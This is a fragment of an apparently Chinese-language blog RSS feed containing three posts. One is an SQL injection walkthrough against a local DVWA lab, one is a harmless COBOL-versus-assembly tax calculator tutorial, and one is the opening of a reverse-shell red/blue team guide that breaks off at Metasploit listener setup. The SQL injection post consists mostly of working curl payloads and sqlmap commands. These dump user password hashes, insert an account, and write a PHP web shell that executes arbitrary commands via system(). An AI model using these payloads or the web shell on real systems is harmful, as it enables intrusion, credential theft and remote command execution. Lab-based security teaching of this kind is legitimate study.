&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ID: 1
First name: admin
Surname: admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;尝试注入：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1'%20OR%20'1'='1'&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ID: 1&lt;span class="s1"&gt;' OR '&lt;/span&gt;1&lt;span class="s1"&gt;'='&lt;/span&gt;1
First name: admin

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  sqlmap 探测注入类型
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;--level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nt"&gt;--risk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET parameter 'id' is injectable
Boolean-based blind: payload...
Error-based: payload...
Time-based blind: payload...
UNION query: payload...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  获取数据库列表
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3xcbkywqg3ndcangvtho.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3xcbkywqg3ndcangvtho.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--dbs&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;available databases [2]:
[*] dvwa
[*] information_schema
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  查看 DVWA 表
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7kox3tua921f1vueh8qt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7kox3tua921f1vueh8qt.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-D&lt;/span&gt; dvwa &lt;span class="nt"&gt;--tables&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  查询用户表
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsap4t1rvoll3rhfbpnu5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsap4t1rvoll3rhfbpnu5.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--sql-query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM dvwa.users;"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] 1337,/hackable/users/1337.jpg,0,Hack,...,8d3533d75ae2c3966d7e0d4fcc69216b,3
[*] admin,/hackable/users/admin.jpg,0,admin,...,5f4dcc3b5aa765d61d8327deb882cf99,1
[*] gordonb,/hackable/users/gordonb.jpg,0,Gordon,...,e99a18c428cb38d5f260853678922e03,2
[*] pablo,/hackable/users/pablo.jpg,0,Pablo,...,0d107d09f5bbe40cade3de5c71e9e9b7,4
[*] smithy,/hackable/users/smithy.jpg,0,Bob,...,5f4dcc3b5aa765d61d8327deb882cf99,5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  创建新用户
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--sql-query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"INSERT INTO dvwa.users (user, avatar, first_name, user_id, password) 
VALUES ('test', '/hackable/users/test.jpg', 'sss', 'test_hack', 'password_123');"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  查询权限
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--sql-query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"SELECT grantee, privilege_type FROM information_schema.user_privileges;"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'app'@'localhost', USAGE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  上传 WebShell
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxfpzisocbdsni7keyczk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxfpzisocbdsni7keyczk.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PHP WebShell&lt;/strong&gt;：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'cmd'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;pre&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'cmd'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;/pre&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;上传命令：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--file-write&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"./shell.php"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--file-dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/var/www/html/dvwa/shell.php"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;访问测试：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://localhost:7997/dvwa/shell.php?cmd&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  郑重声明
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;学技术，须以善念为本。此博客所分享的知识，皆为安全研究与防护之用。请务必谨记，绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏，所有后果只能由你自己承担。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;技术如刀，双刃而锋利。唯有怀抱正义与责任，方能让它照亮前路，而非迷失于黑暗。愿你我都能守住这份初心，成为守护网络安全的真正战士。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;若你选择滥用本博客内容所学技能所造成的任何损害或违法行为，本人概不负责。若因此被警方或相关执法机关追查，一切法律责任与后果均由使用者本人承担。&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>sql</category>
      <category>sqlinjection</category>
      <category>sqlmap</category>
      <category>php</category>
    </item>
    <item>
      <title>从 COBOL 到汇编：用个税计算器带你扒光 60 年老古董语言</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Sun, 17 Aug 2025 14:49:59 +0000</pubDate>
      <link>https://forem.com/ctkqiang/cong-cobol-dao-hui-bian-yong-ge-shui-ji-suan-qi-dai-ni-ba-guang-60-nian-lao-gu-dong-yu-yan-ga9</link>
      <guid>https://forem.com/ctkqiang/cong-cobol-dao-hui-bian-yong-ge-shui-ji-suan-qi-dai-ni-ba-guang-60-nian-lao-gu-dong-yu-yan-ga9</guid>
      <description>&lt;p&gt;你可能觉得 COBOL 是上世纪的产物，但事实是，今天全球 70% 的金融交易依然运行在 COBOL 上。本文将通过实现一个中国个人所得税计算器，展示 COBOL 的写法，并附上对应的汇编对照，让你看清楚这门“像英语”的语言如何落地到最底层的指令。&lt;/p&gt;




&lt;p&gt;为了让大家更直观地理解 COBOL，我在这篇文章里不仅会系统讲解 COBOL 的四大 Division、数据类型、语句和内置函数，还会拿出相应的 汇编 (Assembly) 代码来做 对比。&lt;/p&gt;

&lt;p&gt;你将会看到：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;COBOL 的 MOVE / COMPUTE / DISPLAY，在底层汇编里就是 MOV、ADD、CMP 这些指令。&lt;/li&gt;
&lt;li&gt;数据定义里的 PIC 9(4) V99，在汇编里就对应一块固定大小的内存空间。&lt;/li&gt;
&lt;li&gt;COBOL 的 EVALUATE 语句，其实就类似于汇编中的条件跳转和比较。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  换句话说，这篇文章不是单纯地教 COBOL，而是用汇编来对照，帮你更深刻地理解这门经典语言背后的底层逻辑。
&lt;/h2&gt;

&lt;h2&gt;
  
  
  一、COBOL 程序的基本结构
&lt;/h2&gt;

&lt;p&gt;COBOL 的层级逻辑十分严格，基本单位如下：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Division → Section → Paragraph → Sentence → Statement
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;类比到现代编程语言：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Division ≈ 模块&lt;/li&gt;
&lt;li&gt;Section ≈ 子模块&lt;/li&gt;
&lt;li&gt;Paragraph ≈ 函数&lt;/li&gt;
&lt;li&gt;Statement ≈ 语句&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;COBOL 的语义化极强，看起来像文档，但编译结果完全是底层机器码。&lt;/p&gt;




&lt;h2&gt;
  
  
  二、数据声明：Picture Clause
&lt;/h2&gt;

&lt;p&gt;COBOL 使用 &lt;code&gt;PIC&lt;/code&gt;（Picture Clause）描述数据的格式。例如：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;01 COUNTER PIC S9(4) COMP-4.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;对应汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov eax, 1234
mov [COUNTER], eax
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;在金融系统中，&lt;code&gt;COMP-3&lt;/code&gt;（packed decimal）用得尤其多，因为它能保证十进制精度。&lt;/p&gt;




&lt;h2&gt;
  
  
  三、完整案例：中国个税计算器
&lt;/h2&gt;

&lt;p&gt;下面分步骤给出 COBOL 程序和汇编对照。&lt;/p&gt;




&lt;h3&gt;
  
  
  1. IDENTIFICATION DIVISION
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IDENTIFICATION DIVISION.
PROGRAM-ID. CHINESE-TAX-SYSTEM.
AUTHOR. LING-ER.
DATE-WRITTEN. 2025-07-14.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; 元信息，不编译为指令
; 程序名: CHINESE-TAX-SYSTEM
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  2. ENVIRONMENT DIVISION
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ENVIRONMENT DIVISION.
CONFIGURATION SECTION.
SOURCE-COMPUTER. IBM-370.
OBJECT-COMPUTER. IBM-370.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; 编译目标平台声明
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3. DATA DIVISION
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;01 INPUT-FIELDS.
   05 GROSS-INCOME     PIC 9(7)V99.
   05 SOCIAL-INSURANCE PIC 9(5)V99.
   05 HOUSING-FUND     PIC 9(5)V99.
   05 OTHER-DEDUCTIONS PIC 9(5)V99.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SECTION .data
GROSS_INCOME     dd 0
SOCIAL_INSURANCE dd 0
HOUSING_FUND     dd 0
OTHER_DEDUCTIONS dd 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  4. PROCEDURE DIVISION
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MAIN-LOGIC.
    DISPLAY "中国个人所得税计算器".
    PERFORM GET-USER-INPUT.
    PERFORM CALCULATE-TAX.
    PERFORM DISPLAY-RESULTS.
    STOP RUN.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;call print_banner
call get_user_input
call calculate_tax
call display_results
mov eax, 1
int 0x80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;计算税额：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;COMPUTE TOTAL-DEDUCTIONS = SOCIAL-INSURANCE + HOUSING-FUND
                         + OTHER-DEDUCTIONS + STANDARD-DEDUCTION.
COMPUTE TAXABLE-INCOME = GROSS-INCOME - TOTAL-DEDUCTIONS.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov eax, [SOCIAL_INSURANCE]
add eax, [HOUSING_FUND]
add eax, [OTHER_DEDUCTIONS]
add eax, [STANDARD_DEDUCTION]
mov [TOTAL_DEDUCTIONS], eax

mov eax, [GROSS_INCOME]
sub eax, [TOTAL_DEDUCTIONS]
mov [TAXABLE_INCOME], eax
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  5. 条件分支 (EVALUATE)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;EVALUATE TRUE
   WHEN TAXABLE-INCOME &amp;lt;= BRACKET-1
        COMPUTE TAX-AMOUNT = TAXABLE-INCOME * RATE-1
   WHEN OTHER
        COMPUTE TAX-AMOUNT = ...
END-EVALUATE.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov eax, [TAXABLE_INCOME]
cmp eax, [BRACKET_1]
jg  next_case

; case 1
mov ebx, [RATE_1]
imul eax, ebx
mov [TAX_AMOUNT], eax
jmp end_eval

next_case:
; case 2 ...
end_eval:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  四、总结
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;COBOL 的 &lt;code&gt;MOVE&lt;/code&gt; 对应汇编的 &lt;code&gt;mov&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;COMPUTE&lt;/code&gt; 对应 &lt;code&gt;add/sub/imul&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;EVALUATE&lt;/code&gt; 对应 &lt;code&gt;cmp + jmp&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;金融系统选择 COBOL 的原因：语义清晰，编译稳定，执行结果高度可预测&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  五、作者评论
&lt;/h2&gt;

&lt;p&gt;为什么 2025 年了我们还要关心 COBOL？因为大量金融与政府系统依旧运行在它之上。对于业务逻辑清晰、对精度要求极高的应用，COBOL 仍然是值得信赖的选择。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本文代码仅供学习和研究，请勿将其用于破坏或非法用途。&lt;/p&gt;
&lt;/blockquote&gt;




</description>
      <category>cobol</category>
      <category>assembly</category>
    </item>
    <item>
      <title>逆向Shell实战——红队技巧 vs 蓝队防御全攻略</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Sun, 17 Aug 2025 07:44:58 +0000</pubDate>
      <link>https://forem.com/ctkqiang/ni-xiang-shellshi-zhan-hong-dui-ji-qiao-vs-lan-dui-fang-yu-quan-gong-lue-79h</link>
      <guid>https://forem.com/ctkqiang/ni-xiang-shellshi-zhan-hong-dui-ji-qiao-vs-lan-dui-fang-yu-quan-gong-lue-79h</guid>
      <description>&lt;p&gt;逆向Shell依旧是渗透测试与对抗演练中的核心工具，它清晰地展现了系统利用与防御的边界。本指南将&lt;strong&gt;逐步讲解使用Metasploit进行进攻操作&lt;/strong&gt;，并提供&lt;strong&gt;全面的防御策略&lt;/strong&gt;，适用于专业安全运营团队。&lt;/p&gt;




&lt;h2&gt;
  
  
  理解逆向Shell
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;逆向Shell&lt;/strong&gt;是一种由&lt;strong&gt;目标主机主动连接回监听主机&lt;/strong&gt;的Shell会话，从而允许攻击方执行命令。与传统入站连接的Shell不同，逆向Shell利用&lt;strong&gt;出站网络策略&lt;/strong&gt;进行通信，在现代企业环境中更隐蔽、更有效。&lt;/p&gt;




&lt;h2&gt;
  
  
  红队：使用Metasploit的进攻流程
&lt;/h2&gt;

&lt;p&gt;Metasploit是逆向Shell操作中最灵活的框架之一。以下是&lt;strong&gt;专业、逐步的进攻流程&lt;/strong&gt;：&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;步骤1：侦察&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;确定目标操作系统、服务和漏洞。&lt;/li&gt;
&lt;li&gt;工具：&lt;code&gt;nmap&lt;/code&gt;、&lt;code&gt;masscan&lt;/code&gt;、&lt;code&gt;shodan&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;示例扫描：
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; 192.168.1.100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;步骤2：监听器设置&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;启动Metasploit处理器接收目标连接。
